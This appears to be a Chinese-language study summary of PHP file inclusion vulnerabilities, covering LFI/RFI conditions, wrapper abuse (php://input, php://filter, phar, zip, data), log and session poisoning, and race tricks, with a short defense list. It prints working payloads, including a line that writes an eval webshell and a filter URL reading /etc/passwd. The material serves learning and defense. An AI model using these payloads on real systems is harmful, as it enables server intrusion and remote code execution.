'文件包含总结'

1. 文件包含

在通过PHP的相应函数(比如include())引入文件时,由于传入的文件名没有经过合
理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。

2. 条件

用户能够控制这个动态变量,用户提交的文件名或文件类型没有被过滤或过滤不严谨
include()等函数通过动态变量的方式引入需要包含的文件
注意:包含过来的文件不管是什么类型的文件,只要文件中有php格式的代码均可被解析

3. 文件包含的四个函数

include
require
include_once require_once

4. 分类

4.1 LFI(LocalFileInclude)

能够读取或执行包含本地文件的漏洞,称为本地文件包含漏洞。

条件:无

漏洞危害:
读取敏感文件(配置文件、服务器上配置文件)
GetShell
获取站点源码

配置文件
/etc/apache2/sites-enabled
/etc/php/7.3/apache2/conf.d
/etc/mysql/conf.d

有后缀名限制的文件包含:
%00截断 php版本<5.3
有前缀限制的文件包含:
目录跳转 ../
既有头部限制又有尾部限制:
目录跳转+%00截断 php版本<5.3

4.2 RFI(RemoteFileInclude)

allow_url_fopen 本选项激活允许文件包含函数使用URL形式的fopen的封装协议
allow_url_include PHP>=5.2 本选项激活允许访问远端文件,并解析
条件:两个参数都打开
在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后,就默认为Off。

有后缀名限制的远程文件包含:
%00截断 php版本<5.3
?截断 #截断 php版本<=5.3

5.PHP伪协议

5.1 php://input

条件:allow_url_include=on,allow_url_fopen不作要求
可以通过

1
<?PHP fputs(fopen('windy.php','w'),'<?php eval($_POST[windy])?>');?>

直接上传WebShell

5.2 php://filter

条件:无

读取文件中的内容

1
2
3
php://filter/read=convert.base64-encode/resource=index.php
php://filter/convert.base64-encode/resource=index.php
php://filter/string.rot13/resource=index.php

5.3 file://

1
file://d:/phpstudy/www/webshell.jpg

可以解析

5.4 phar://

条件:php版本>=5.3.0
info.txt -->打包成zip文件
相对路径

1
phar://test.zip/phpinfo.txt

可以直接解析zip压缩包文件下的文件

绝对路径

1
phar://D:/phpstudy/www/test.zip/phpinfo.txt

5.5 zip://

条件:php版本>=5.3.0
使用的过程中,只能用绝对路径,在压缩包名后写上%23

5.6 data://

条件:php版本>=5.2 allow_url_fopen=On allow_url_include=On
利用方式1:

1
data://text/plain,<?php phpinfo();?>

利用方式2:

1
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b


图片来源:php伪协议实现命令执行的七种姿势

5.7 伪协议利用

5.7.1 获取服务器中session值

若可以注册用户名,可以注册带有php代码的用户名,再通过文件包含漏洞包含本地session最终实现RCE命令执行

(/tmp/ 或者 /var/lib/php/ )

login|s:3:"bee";admin|s:1:"1";token|s:40:"sessionID"

5.7.2 访问记录文件包含

包含/proc/self/environ文件GetShell
/proc/self/environ会记录User_Agent
使用插件或Burpsuite更改User_Agent
条件:php通过CGI去解析、普通用户可读

6. 文件包含防御

1.设置白名单
2.过滤危险字符
3.设置openbasedir
4.关闭危险设置(allow_url_fopen&allow_url_include)

7. Tricks

这两个姿势是从嘶吼上看到的,文件包含&奇技淫巧

7.1 phpinfo+LFI

这个trick利用phpinfo会打印上传缓存文件路径的特性,进行缓存文件包含达到getshell的目的。

1.临时文件在phpinfo页面加载完毕后才会被删除。

2.phpinfo页面会将所有数据都打印出来,包括header。

3.php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接。

7.1.1 竞争流程

1.发送包含了webshell的上传数据包给phpinfo页面,同时在header中塞满垃圾数据。

2.因为phpinfo页面会将所有数据都打印出来,垃圾数据会加大phpinfo加载时间。

3.直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包。

4.此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除。

5.利用这个时间差,在第二个数据包进行文件包含漏洞的利用,即可成功包含临时文件,最终getshell。

7.2 LFI+php7崩溃

利用php7 segment fault特性。

我们可以利用:

1
2
> http://ip/index.php?file=php://filter/string.strip_tags=/etc/passwd
>

这样的方式,使php执行过程中出现Segment Fault,这样如果在此同时上传文件,那么临时文件就会被保存在/tmp目录,不会被删除。

8.SMB共享文件包含

9. 参考

[1] php伪协议实现命令执行的七种姿势

[2] 文件包含&奇技淫巧

[3] PHP文件包含漏洞(利用phpinfo)